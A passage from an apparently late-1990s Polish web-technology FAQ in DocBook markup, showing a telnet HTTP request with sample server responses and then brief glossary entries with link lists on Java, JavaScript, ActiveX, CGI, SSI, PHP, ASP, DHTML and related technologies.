<PARA>Procedura nawiązywania połączenia przebiega następująco:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>Klient przedstawia żądanie pobrania określonego
<EMPHASIS>zasobu</EMPHASIS>
(w formie:
<EMPHASIS>POLECENIE ścieżka_do_zasobu protokół</EMPHASIS>
<SCREEN FORMAT="LINESPECIFIC">$ telnet www 80
Trying 127.0.0.1... &nbsp; 
Connected to localhost. &nbsp; 
Escape character is '^]'. &nbsp;
GET /faq.htm HTTP/1.1 &nbsp; 
User-Agent: moja_cudowna_pajeczarka &nbsp; 
Host: FAQ-Bot.ZiemBor.Waw.PL &nbsp;
&nbsp; </SCREEN>
(po żądaniu następuje linijka wolna</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Na to serwer odpowiada: (o ile żądanie jest realizowalne)
<SCREEN FORMAT="LINESPECIFIC">HTTP/1.1 200 OK &nbsp; 
Date: Sat, 05 Apr 1997 16:20:50 GMT &nbsp; 
Server: Apache/1.1.1 &nbsp; 
Content-type: text/html &nbsp;; (........ i tak dalej ;-))</SCREEN></PARA>
</LISTITEM>
<LISTITEM>
<PARA>nie zawsze wszystko przebiega tak pomyślnie. Czasem pomyliliśmy URI i
zamiast potwierdzenia wysłania strony, serwer odpowiada:
<SCREEN FORMAT="LINESPECIFIC">HTTP/1.0 404 Not found &nbsp; 
Date: Sat, 05 Apr 1997 16:29:10 GMT &nbsp; 
Server: Apache/1.1.1 &nbsp; 
Content-type: text/html &nbsp;
The requested URL /pp was not found
on this server.</SCREEN></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA>(Chyba wszystkie serwery pozwalają zmieniać zawartość pól
(stron)
<LINK LINKEND="SERWERY-BLEDY">obsługujących błędy 404 i inne</LINK>
--- choć w wypadku serwerów IIS firmy
<ULINK URL="http://www.microsoft.com/" ROLE="htmlurl">Microsoft</ULINK>
w
wersji poniżej 4.0 robi się to w jakiś wyrafinowany sposób --- nie
wiem jeszcze jaki.</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="RFC-HTTP">Standardy: HTTP</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><LINK LINKEND="SERWERY">Rozdział: Serwery</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://webcompare.internet.com/" ROLE="htmlurl">WebCompare</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/pub/WWW/Protocols/" ROLE="htmlurl">Sekcja: HTTP na W3</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.jmarshall.com/easy/http/" ROLE="htmlurl">HTTP
Made Really Easy</ULINK>
<ULINK URL="mailto:james@jmarshall.com" ROLE="mailto">James Marchall</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ics.uci.edu/pub/ietf/http/" ROLE="htmlurl">HTTP Working Group</ULINK>
działająca w ramach w
<ULINK URL="http://www.ietf.org/" ROLE="htmlurl">IETF</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="WEBCASTING">
<TITLE>Webcasting</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">WebCasting</PRODUCTNAME>
(technologia push) jest metodą dostarczania wcześniej zamówionych
(zasubskrybowanych) informacji bezpośrednio do wglądu użytkownika (np.
jako wygaszacz ekranu). Zwykle (tak jak w wypadku
<PRODUCTNAME CLASS="TRADE" ID="CDF">CDF</PRODUCTNAME>
Microsoftu
czy
<PRODUCTNAME CLASS="TRADE" ID="NETCASTER">NetCaster</PRODUCTNAME>
Netscape tworzy się
pewnie kanał (channel) dystrybucji określonych danych uaktualnianych w
określonych odstępach czasu.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.microsoft.com/ie/" ROLE="htmlurl">CDF @ Microsoft</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://home.netscape.com/communicator/netcaster/v4.0/index.html" ROLE="htmlurl">Netcaster</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://winter.info.pl/channels.htm" ROLE="htmlurl">Webcasting @ Winter</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.whatis.com/webcasti.htm" ROLE="htmlurl">Webcasting @ WhatIS.com</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.hans.bydgosz.mtl.pl/%E7andrzej/channels.htm">Polskie kanały PUSH </ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="DOM">
<TITLE>DOM</TITLE>
<PARA><ABBREV LANG="en"><INDEXTERM>
<PRIMARY>DOM&#60;/&#62;&#60;/&#62;</PRIMARY>
</INDEXTERM></ABBREV>
<PRODUCTNAME CLASS="TRADE"><INDEXTERM>
<PRIMARY>Document Object Model&#60;/&#62;&#60;/&#62;</PRIMARY>
</INDEXTERM></PRODUCTNAME>
jest specyfikacją niezależnego od
platformy i języka programowania sprzęgu (interface) pozwalającego
programom i skryptom na dynamiczny dostęp i ingerencję w zawartość,
strukturę i prezentację dokumentów, przy zachowaniu ich poprawności
składniowej.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/DOM/" ROLE="htmlurl">DOM @ W3C</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.microsoft.com/msdn/sdk/inetsdk/help/dhtml/references/dhtmlrefs.htm#dhtml_ref" ROLE="htmlurl">DHTML @ Microsoft</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="JAVA">
<TITLE>Java</TITLE>
<PARA><EMPHASIS>Java</EMPHASIS>
jest obiektowym językiem programowania
stworzonym przez Sun INC. (zespół pod kierunkiem Jamesa Goslinga) do
sterowania urządzeniami elektronicznymi (,,niekomputerowymi''). Jednym
z podstawowych założeń projektu było stworzenie przenośnego kodu, nie
wymagającego powtórnej rekompilacji, przy zmianie architektury maszyny
na której program ma działać. Powstała w ten sposób tzw. wirtualna
maszyny JAVA`y --- czyli środowisko, w jakim działają programy,
(powinien być) niezależne od platformy systemowej, stosowanego systemu
operacyjnego). Dzięki przenośności, względnej prostocie, oraz
oczywiście promocji ze strony Suna --- np. darmowa przeglądarka WWW
HotJava, oraz części narzędzi programistycznych takich jak
<ULINK URL=" http://www.javasoft.com/products/jdk/" ROLE="htmlurl">Java
Developer Kit</ULINK>
lub specyfikacja
<ULINK URL="http://www.javasoft.com/beans/infobus/index.html" ROLE="htmlurl">InfoBus</ULINK>
--- zyskała sobie dość powszechny odzew.</PARA>
<PARA>Pomimo krótkiego cyklu rozwojowego języka (rozpoczęcie realizacji
projektu ,,Green'' to kwiecień 1991, zaś światowa premiera Java`y i
HotJava to maj 1995 r.) jest wykorzystywana do wielu różnych
zastosowań: począwszy od prostych appletów (czyli krótkich programików
realizujących pojedyncze zadania --- zazwyczaj zagnieżdżone w HTMLu)
przewijających tekst u dołu strony, poprzez stosowanie jako
<LINK LINKEND="BAZY-DANYCH">interface do baz danych</LINK>
w formie
serwletów (czyli javowych API serwera) do potężnych aplikacji takich
jak
<ULINK URL="http://officeforjava.corel.com/" ROLE="htmlurl">Corel
Office for Java.</ULINK>
lub nieco mniej potężny ale chyba bardziej
użyteczny pakiet
<ULINK URL="http://www.lotus.com/" ROLE="htmlurl">e-suite</ULINK>
Lotusa.</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://java.sun.com/" ROLE="htmlurl">Java @ Sun</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.javasoft.com/products/jdk/" ROLE="htmlurl">Java Developer's Kit</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/java/" ROLE="htmlurl">Java @
SunSite.ICM</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Artur van Hoff, Sami Shaio, Orcha Starkbuck Sun Microsystems INC
<ULINK URL="http://www.aw.com/devpress/java/" ROLE="htmlurl">Hooked
on JAVA</ULINK>
(ISBN 0-201-48837-X) polskie wydanie:
<EMPHASIS>Java</EMPHASIS>
<ULINK URL="http://www.helion.com.pl/" ROLE="htmlurl">Wydawnictwo HELION</ULINK>
(ISBN 83-86718-30-7)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.aw.com/devpress/" ROLE="htmlurl">Addison-Wesley Java Series</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://arrow.uci.agh.edu.pl/%7Ejava/index-p.html" ROLE="htmlurl">Java na UCI AGH</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.orbits.com/software/Java_CGI.html" ROLE="htmlurl">Linux: Java CGI HOWTO</ULINK>
<ULINK URL="mailto:dhs@orbits.com" ROLE="mailto">David H. Silber</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="JAVASCRIPT">
<TITLE>JavaScript</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">JavaScript</PRODUCTNAME>
jest opartym częściowo na gramatyce
<PRODUCTNAME CLASS="TRADE">Java`y</PRODUCTNAME>
językiem skryptowym, wykonywanym przez przeglądarkę.
Został prowadzony na rynek przez wersję 2.0. przeglądarki
<PRODUCTNAME CLASS="TRADE">Netscape Navigator</PRODUCTNAME>
powodując zalanie
sieci migającymi napisami, wyskakującymi okienkami i działająymi po
stronie klienta zegarkami. W chwili pojawienia się wersji 3.0.
<PRODUCTNAME CLASS="TRADE">MS IE</PRODUCTNAME>
pojawiają się jego nowa mutacja o nazwie
<PRODUCTNAME CLASS="TRADE">JScript</PRODUCTNAME>
W chwili obecnej toczą się prace nad jego standaryzacją przez ISO/IEC oraz ECMA. </PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://developer.netscape.com/docs/javascript/e262-pdf.pdf" ROLE="htmlurl">ECMA-262 JavaScript Language Specification</ULINK>
--- propozycja standardu ISO/IEC JTC 1 języka skryptowego dokumentu
opartego na JavaScript</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://home.netscape.com/eng/mozilla/Gold/handbook/javascript/index.html" ROLE="htmlurl">JavaScript Authoring Guide (Netscape)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.microsoft.com/JScript/us/jslang/jstoc.htm" ROLE="htmlurl">Microsoft JScript Language Reference</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.polbox.com.pl/lupus/html/index.htm" ROLE="htmlurl">polskie tłumaczenie</ULINK>
<ULINK URL="mailto:pawel.wimmer@lupus.waw.pl" ROLE="mailto">(Pawła Wimmera</ULINK>
i
<ULINK URL="http://www.epublica.pol.pl/" ROLE="htmlurl">Włodzimierza Wypycha)</ULINK>
<ULINK URL="http://rummelplatz.uni-mannheim.de/%7Eskoch/js/script.htm" ROLE="htmlurl">kursu JavaScript Stefana Kocha</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://developer.netscape.com/library/documentation/communicator/jsref/" ROLE="htmlurl">Pełna dokumentacja do JavaScriptu</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.eu.microsoft.com/workshop/languages/default.asp" ROLE="htmlurl">Opis JScriptu czyli JavaScriptu w wersji MS</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.javacats.com/US/articles/Jsart.html" ROLE="htmlurl">Artykuł o rożnicach miedzy JavaScriptem a JScriptem</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>David Flanagan
<ULINK URL="http://www.ora.com/" ROLE="htmlurl">JavaScript: the Definitive Guide</ULINK>
stron 441, cena $30
<ULINK URL="http://www.ora.com/" ROLE="htmlurl">O`Reily and Associates</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="ACTIVEX">
<TITLE>ActiveX</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE"> 
ActiveX</PRODUCTNAME>
jest  usilnie promowaną przez
<ULINK URL="http://www.microsoft.com/activeplatform/default.asp" ROLE="htmlurl">Microsoft</ULINK>
technologią pozwalająca na stosowanie obiektów OLE ,,wewnątrz przeglądarki''. Wywodzi się od
,,dynamicznej wymiany danych'' w MS Windows --- Dynamic Data Exchange
---
<ABBREV LANG="en">DDE</ABBREV>
poprzez
<PRODUCTNAME CLASS="TRADE">Object Linking and Embedding</PRODUCTNAME>
<ABBREV LANG="en">OLE</ABBREV>
1.0 i 2.0, komponenty VBX (16-bitowe w
VisualBasic) przekształcone na 32 bity OCX. A handlowa nazwa OCX to
właśnie ActiveX. Zarówno
<ABBREV LANG="en">OLE</ABBREV>
jak i
ActiveX oparte są na
<PRODUCTNAME CLASS="TRADE">Component Object
Model</PRODUCTNAME>
<ABBREV LANG="en">COM</ABBREV>
definiujący
sposoby tworzenia obiektów, komunikacji międzyprocesowej. Szczególnym
przypadkiem
<ABBREV LANG="en">COMa</ABBREV>
jest
<PRODUCTNAME CLASS="TRADE">Distributed Component Object Model</PRODUCTNAME>
<ABBREV LANG="en">DCOM</ABBREV>
.</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.microsoft.com/activex/" ROLE="htmlurl">What is ActiveX? (Microsoft)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.netmanage.com/" ROLE="htmlurl">NetManage</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.X.org/" ROLE="htmlurl">X Consortium</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.folkarts.com/journals/activex/" ROLE="htmlurl">ActiveX Journal</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.shorrock.u-net.com/" ROLE="htmlurl">Active X
unoffical Guide</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="VBSCRIPT">
<TITLE>VBScript</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">VBScript</PRODUCTNAME>
jest opartym na
gramatyce
<PRODUCTNAME CLASS="TRADE">Visual Basic</PRODUCTNAME>
językiem skryptowym mającym konkurować z
<LINK LINKEND="JAVASCRIPT">JavaScript</LINK>
Z racji ograniczonej stosowalności
--- zaimplementowany tylko różnych wersjach
<PRODUCTNAME CLASS="TRADE">MS IE</PRODUCTNAME>
--- nadaje się moim skromnym zdaniem jedynie do opartych o oprogramowanie MS
<LINK LINKEND="INTRANET">Intranetów</LINK></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.eu.microsoft.com/workshop/languages/default.asp" ROLE="htmlurl">VBScript @ Microsoft</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Gry Cornell 
,,Wprowadzanie Visual Basica do Intranetu. VBScript na stronach WWW''
<ULINK URL="http://www.software.com.pl/">[w:] Internet Developer 4/98</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="CGI">
<TITLE>CGI</TITLE>
<PARA><EMPHASIS>CGI</EMPHASIS>
czyli
<EMPHASIS>Common Gateway Interface</EMPHASIS>
jest specyfikacją ---
<EMPHASIS>API</EMPHASIS>
---
<EMPHASIS>Application Program Interface)</EMPHASIS>
--- umożliwiającą
komunikację przeglądarki z programami uruchamianymi przez serwer.
Początkowo tworzona przez zespół z NCSA, nie doczekała się jeszcze
opisu w formie RFC.</PARA>
<PARA>W tej chwili będąc nieoficjalnym standardem (pochodzącym z NSCA HTTPd,
a implementowanym przez większość dostępnych serwerów (nawet tych nie
Uniksowych w postaci tzw. WinCGI)) jest powoli wypierana przez rozmaite
specyfikację programistyczne poszczególnych serwerów (firm je
produkujących) takie jak
<PRODUCTNAME CLASS="TRADE">Netscape API,</PRODUCTNAME>
<PRODUCTNAME CLASS="TRADE">MS IIS API,</PRODUCTNAME>
czy
<PRODUCTNAME CLASS="TRADE">Apache CGI/PHF</PRODUCTNAME>
lub
<PRODUCTNAME CLASS="TRADE">FastCGI</PRODUCTNAME></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="SERWER-INTERAKCJA">Interakcja po stronie serwera</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><LINK LINKEND="BEZPIECZENSTWO-CGI" ROLE="xref">Bezpieczeństwo: CGI</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://student.uci.agh.edu.pl/%E7rozdzyn/cgihtml" ROLE="htmlurl">samouczek
CGI</ULINK>
Tomasza Rozdzynskiego</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/CGI/" ROLE="htmlurl">CGI: Common Gateway Interface @ W3C</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Ken Coar
<ULINK URL="http://Web.Golux.Com/coar/cgi/" ROLE="htmlurl">Common Gateway Interface  RFC Project Page</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://hoohoo.ncsa.uiuc.edu/cgi/" ROLE="htmlurl">CGI Overview @ NCSA UIUC</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.best.com/%7Ehedlund/" ROLE="htmlurl">CGI Programmer`s Reference (FAQ)</ULINK>
Marca Hedlunda</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Nick Kew
<ULINK URL="http://htmlhelp.com/faq/cgifaq.html" ROLE="htmlurl">CGI Programing FAQ (WDG)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA> 
<ULINK URL="http://computerdog.com/CGI_MetaFAQ.html" ROLE="htmlurl">CGI Programming MetaFAQ</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cgi-resources.com/" ROLE="htmlurl">CGI-resources</ULINK>
większość rzeczy potrzebnych do tworzenia
programów zgodnych z CGI (odsyłacze do specyfikacji, gotowych
darmowych programów)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.pk.edu.pl/pub/lang/perl/CPAN/doc/FAQs/perl-cgi-faq.html" ROLE="htmlurl">Perl/CGI programming FAQ</ULINK>
Shishir Gundavaram
and Tom Christiansen</PARA>
</LISTITEM>
<LISTITEM>
<PARA>grupa
<ULINK URL="news:comp.infosystems.www.authoring.cgi" ROLE="news"><FILENAME MOREINFO="NONE">comp.infosystems.www.authoring.cgi</FILENAME></ULINK>
(moderowana)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="SSI">
<TITLE>SSI</TITLE>
<PARA><EMPHASIS>SSI</EMPHASIS>
czyli
<EMPHASIS>Serwer Side Include</EMPHASIS></PARA>
<PARA>Jest prostym mechanizmem dynamicznego tworzenia dokumentów opracowanym
(jak wiele innych, istotnych w pajęczynie technologii) w NSCA. Pozwala
m.in. na:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>dołączanie nagłówków i stopek dokumentów</PARA>
</LISTITEM>
<LISTITEM>
<PARA>wprowadzanie daty utworzenia, modyfikacji, wielkości pliku</PARA>
</LISTITEM>
<LISTITEM>
<PARA>włączaniu standardowego wyjścia z programów do dokumentów</PARA>
</LISTITEM>
</ITEMIZEDLIST>
Wszystkie zlecenia dla dokumentów składanych przez
serwer znajdują się w komentarzu SGMLa, tak więc w wypadku błędnego
wykonania zlecenia powinno pozostać nam puste miejsce.</PARA>
<PARA>Serwer
<ULINK URL="http://SunSite.ICM.edu.pl/pub/www/apache/" ROLE="htmlurl">Apache</ULINK>
w wersji &lt;
= 1.2.0 znacznie
rozszerza składnię SSI, wprowadzając m.in. polecenia warunkowe (if,
else, endif).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.html" ROLE="htmlurl">NCSA httpd server side includes</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.dnai.com/%7Ethomst/" ROLE="htmlurl">@internet
--- What's Included in Server Side Includes?</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://hopf.math.nwu.edu/docs/parse.html" ROLE="htmlurl">Parsed Text and Server Side Includes</ULINK>
w serwerze
<ULINK URL="http://hopf.math.nwu.edu/" ROLE="htmlurl">WM</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.sigma.net/tdunn/ssi/" ROLE="htmlurl">Server
Side Includes Page</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://help.netscape.com/kb/server/960513-109.html" ROLE="htmlurl">Server-parsed HTML (server-side includes) and how to
use it @ Netscape</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://sunsite.icm.edu.pl/pub/www/apache/docs/mod/mod_include.html" ROLE="htmlurl">XSSI</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="SQL">
<TITLE>SQL</TITLE>
<PARA><ABBREV LANG="en">SQL</ABBREV>
<PRODUCTNAME CLASS="TRADE">Structuralized Query Language</PRODUCTNAME>
jest relatywnie prostym,
proceduralnym językiem służącym do sterowania relacyjnymi bazami
danych. Wykorzystywany (na pewnym poziomie, czasem ukrytym przed
końcowym użytkownikiem) jest przez większość baz działających w
technologii klient/serwer.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="BAZY">Bazy danych</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://sunsite.icm.edu.pl/pub/CPAN/modules/dbperl/refinfo/sql3/" ROLE="htmlurl">specyfikacja SQL89/92/3</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.jcc.com/sql_stnd.html" ROLE="htmlurl">SQL Standards Home Page</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://waltz.ncsl.nist.gov/%E7len/sql_info.html" ROLE="htmlurl">SQL Info</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="PHP">
<TITLE>PHP</TITLE>
<PARA><ABBREV LANG="en">PHP3</ABBREV>
<PRODUCTNAME CLASS="TRADE">Professional Home Pages</PRODUCTNAME>
jest wieloplatformowym (tak
jeśli chodzi o system operacyjny jak i serwer http) osadzanym wewnątrz
kodu HTMLa, a jednocześnie działającym po stronie serwera językiem skryptowym o składni wywodzącej się z
<LINK LINKEND="C">C</LINK>
<LINK LINKEND="PERL">Perla</LINK>
i
<LINK LINKEND="JAVA">Java`y</LINK>
Ułatwia on pisanie aktywnych,
odwołujących się do baz danych, konstrukcji matematycznych stron WWW
oferując bogaty zbiór funkcji i metod do większości systemów SQL. Może
działać jako proces CGI lub jako moduł serwera. W tej chwili w ,,w
obrocie'' znajdują się dwa warianty PHP:
<SIMPLELIST TYPE="VERT">
<MEMBER>PHP/FI</MEMBER>
<MEMBER>PHP3</MEMBER>
</SIMPLELIST></PARA>
<PARA>Do podstawowych wad należy brak własnego API i związany z tym brak możliwości
samodzielnego dopisywania własnych elementów.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://php.iquest.net/" ROLE="htmlurl">PHP2/FI</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.php.net/" ROLE="htmlurl">PHP3 homepage</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.webtechniques.com/features/1998/02/lerdorf/lerdorf.shtml" ROLE="htmlurl">Dynamic Web Pages with PHP3</ULINK>
An Embedded
Scripting Language for the Web By Rasmus Lerdorf</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="ASP">
<TITLE>Active Server Pages</TITLE>
<PARA><ABBREV LANG="en">ASP</ABBREV>
<PRODUCTNAME CLASS="TRADE">Active Server Pages</PRODUCTNAME>
są środowiskiem programistycznym stworzonym dla serwerów HTTP firmy 
Microsoft.  Pozwala na tworzenie dokumentów dynamicznych, generowanych 
jednak po stronie serwera przy użyciu potencjalnie dowolnego języka 
programowania  
(posiadającego jednak wsparcie w ASP. W tej chwili oznacza to co najmniej  
<PRODUCTNAME CLASS="TRADE">VBScript</PRODUCTNAME>
<PRODUCTNAME CLASS="TRADE">JScript</PRODUCTNAME>
<PRODUCTNAME CLASS="TRADE">PerlScript</PRODUCTNAME> -- ten ostanie jako część 
dystrybucji <ULINK URL="http://www.activestate.com/">ActiveState Perl</ULINK>). 
oraz  
<LINK LINKEND="SSI">SSI</LINK>. 

</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.activeserverpages.com/docs/" ROLE="htmlurl"> 
''activeserverpages.com The most popular ASP resource in the World''</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.microsoft.com/activeplatform/" ROLE="htmlurl">''Active Platform'' @ Microsoft</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Rafał Stefanowski
<ULINK URL="http://www.lab229.ict.pwr.wroc.pl/%E7raf/ASP-pwr.htm">,,Active Server Pages (ASP) narzędzie do tworzenia dynamicznych stron WWW''</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>M. Corning
,,Working with Active Server Pages''
<ULINK URL="http://www.mcp.com/que/" ROLE="htmlurl">by Que Corp.</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Leon Chalnick
<ULINK URL="http://www.software.com.pl/" ROLE="htmlurl">,,Tworzenie dynamicznej zawartości przy użyciu ASP.''</ULINK>
Programowanie serwera Active Server Pages.''
[w:] ,,Internet
Developer'' 6/97 ss. 12-17</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="DHTML">
<TITLE>DHTML</TITLE>
<PARA><ABBREV LANG="en">DHTML</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">Dynamic HTML</PRODUCTNAME>
jest (opartą w zasadzie na jakiejś
wariacji na temat
<LINK LINKEND="DOM">DOM</LINK>
metodologią
pozwalającą na ingerencję programów zewnętrznych wobec przeglądarki w
proces przetwarzania (
<FOREIGNPHRASE>rendering</FOREIGNPHRASE>
)
kodu HTML na obraz. W obecnym wcieleniu
<PRODUCTNAME CLASS="TRADE">DHTMLa,</PRODUCTNAME>
zaimplementowanym w wersjach 4.x przeglądarek
<PRODUCTNAME CLASS="TRADE">MS IE</PRODUCTNAME>
i
<PRODUCTNAME CLASS="TRADE">Netscape Navigator,</PRODUCTNAME>
wykorzystuje się przede wszystkim języki skryptowe --- takie jak
<LINK LINKEND="VBSCRIPT">VBScript</LINK>
<LINK LINKEND="JAVASCRIPT">JavaScript</LINK>
--- oraz
<LINK LINKEND="CSS">CSS. </LINK>
W tech chwili możliwa jest ograniczona ingerencja w dokument po stronie klienta: 
wstawianie daty, tworzonych dynamicznie odnośników, animowanych obiektów (sztandarowy przykład).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://developer.netscape.com/docs/manuals/communicator/dynhtml/" ROLE="htmlurl">Dynamic HTML in
<PRODUCTNAME CLASS="TRADE">Netscape
Navigator</PRODUCTNAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.microsoft.com/gallery/samples/default.asp" ROLE="htmlurl">Dynamic HTML Gallery @ Microsoft</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.insidedhtml.com/" ROLE="htmlurl">Inside DHTML</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.dhtmlzone.com/" ROLE="htmlurl">Macromedia`s
DHTML Zone</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.webcoder.com/" ROLE="htmlurl">WebCoder</ULINK>
